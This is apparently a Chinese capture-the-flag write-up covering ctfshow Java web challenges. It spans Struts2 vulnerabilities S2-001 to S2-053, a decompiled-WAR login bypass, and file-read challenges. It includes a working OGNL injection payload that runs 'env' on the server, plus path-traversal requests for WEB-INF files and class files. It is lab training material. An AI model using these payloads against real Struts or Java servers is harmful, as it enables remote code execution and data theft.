9.java
1. web279 struts S2-001
S2-001
打开后要加上路径 /S2-001 然后登录框随便输入会发现跳了一个url /login.action
一看 .action 后缀就知道是structs了 直接漏洞利用工具梭哈


直接执行命令看env即可
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

2. web280 S2-005
具体原理看 S2-005
工具 Struts2全版本漏洞检测工具 梭哈就行了

3. web281 S2-007
S2-007
工具梭哈
4. web282 S2-008
S2-008
工具梭哈
5. web283 S2-012
6. web284 S2-013
7. web285 S2-014
8. web286 S2-015
9. web287 S2-016
10. web288 S2-019
11. web289 S2-029
12. web290 S2-032
13. web291 S2-033
14. web292 S2-037
15. web293 S2-045
16. web294 S2-046
17. web295 S2-048
18. web296 s2-045
19. web297 S2-053
20. web298 反编译
题目给了一个war包,直接解压后用ide打开会自动帮我们进行反编译。
一般我对于这种web的java包都是先看servlet路由

这里接受了两个参数

下面进行了一个判断

只要我们输入的不是 admin 然后就会进行下一个判断。
我们看一下这个 getVipStatus 方法,他是写在User这个类里面的

这里又要我们这个username=admin,与上面的判断明显有矛盾。
但是这里两个判断是否相等的方法不一样
一个是用的“==” 进行判断
另外一个是用的 username.equals() 判断
所以这里应该是要进行绕过,
注意,这里还要加上路由 /login 才行

/ctfshow/login?username=admin&password=ctfshow
21. web299 文件读取
查看网页源代码给我们了一个提示

他这里可能写错了。写成了.php 应该是.jsp
我们改成.jsp就可以发现确实是可以获取到jsp文件内容的

首先先去读一下web.xml文件 看一下配置的servlet路由

可以发现有一个这个 getFlag 的路由
那可能这个就是servlet的文件名,我们去读取一下看看
view-source?file=WEB-INF/classes/com/ctfshow/servlet/GetFlag.class

这里有个 /fl3g 有点刻意
读一下看看
这里是写在根目录下面的,所以我们需要进行一下这个目录穿越

22. web300 文件读取
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 10:52:43
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
这里给了个php的文件读取。

然后还是和上一题一样先读 web.xml

然后去读 getFlag.class

读flag

23. 总结
前面没什么好说的,就是用 Struts2全版本漏洞检测工具梭哈就行了。 我发现低版本的S2漏洞基本都是这个OGNL表达式被滥用导致的。 感觉有点与SSTI相似
后面的两个文件读取也主要就是考验对这种 servlet 路由的一个熟悉。只要用java写过简单的web网页基本也都知道这个路由怎么去看